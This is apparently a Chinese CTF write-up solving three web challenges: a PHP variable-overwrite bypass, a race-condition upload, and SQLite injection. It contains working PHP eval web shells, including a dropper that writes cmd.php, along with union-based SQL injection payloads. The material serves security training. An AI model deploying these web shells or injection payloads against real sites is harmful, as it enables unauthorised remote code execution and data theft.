The Gift

<?php
include 'config.php';
highlight_file(__FILE__);
error_reporting(0);
class ConfigModel {
public $apiKey = ''; #存放生成的随机 Key
public $isAdmin = false; #管理员权限标识,初始为 false
public $requestTime = 0;
public function __construct() {
$this->requestTime = time();
$this->apiKey = md5($_SERVER['REMOTE_ADDR'] . rand(1, 99999) . "S4ltY_String");
#使用 IP + 随机数 + 盐值生成 MD5,理论上很难暴力破解
}
public function validateApiKey($inputKey) {
if ($inputKey === $this->apiKey) {
$this->isAdmin = true;
# 只有 Key 正确,才会设置为 true
return true;
}
return false;
}
}
$config = new ConfigModel();
$requestData = array_merge($_GET, $_POST);
#合并 GET 和 POST 请求的数据
foreach ($requestData as $key => $value) {
$$key = $value;
#可变变量赋值
}
if (isset($user_api_key)) {
$config->validateApiKey($user_api_key);
}
if (is_array($config) && isset($config['isAdmin']) && $config['isAdmin'] === 'true') {
die("Success" . $FLAG);
} else {
echo "<br>Access Denied.";
}
?>
Access Denied.

在 PHP 中,$config->isAdmin(访问对象属性)和 $config['isAdmin'](访问数组键值)是完全不同的
原本类定义里 isAdmin 是布尔值 false
但最后的 if 语句却要求 $config 必须是数组,且其值必须是字符串 'true'。
既然代码要求 $config 是数组,而我们又拥有"变量覆盖"的能力
我们直接把 $config 覆盖成它想要的数组即可
payload:
config[isAdmin]=true
并发上传
争用条件是一种常见的漏洞类型,与业务逻辑缺陷密切相关
当网站在没有足够保护措施的情况下同时处理请求时,就会发生这种情况
这可能导致多个不同的线程同时与相同的数据进行交互,从而导致"冲突",从而导致应用程序中出现意外行为
争用条件攻击使用精心定时的请求来造成故意冲突,并利用这种意外行为来达到恶意目的
根据题目可知这是一道条件竞争题目
GIF89a
<?=eval($_REQUEST['cmd']);?>
尝试第一种payload能上传但是不能查看,我们直接开始条件竞争
<?php fputs(fopen("cmd.php","w"),'<?php @eval ($_POST["cmd"]); ?>'); ?>


同样进行配置
upload/shell.php


看到返回200即可

我们进行蚁剑连接

注意我们构造的payload用的是cmd.php
shell.php只是用来写入的,不要搞错了

成功获取flag
sql_search
经过测试存在SQL注入



如何确定为什么数据库
|----------------|----------------------------------|------------------------------------------|
| 数据库类型 | 测试 Payload | 说明 |
| SQLite | sqlite_version() | 只有 SQLite 识别这个函数 |
| MySQL | version() 或 @@version | 虽然 Postgres 也用 version(),但 MySQL 常用 @@ |
| PostgreSQL | version() | 返回包含 "PostgreSQL" 字样的详细字符串 |
| MSSQL | @@version | 典型的 Microsoft SQL Server 标识 |
| Oracle | (select banner from v$version) | Oracle 语法较严苛,通常需要 from dual |
确定为sqlite数据库

' union select 1,group_concat(tbl_name),3 from sqlite_master where type='table'--+



看不了列名,盲猜为flag
' union select 1,flag,3 from flaggggggggggg--+
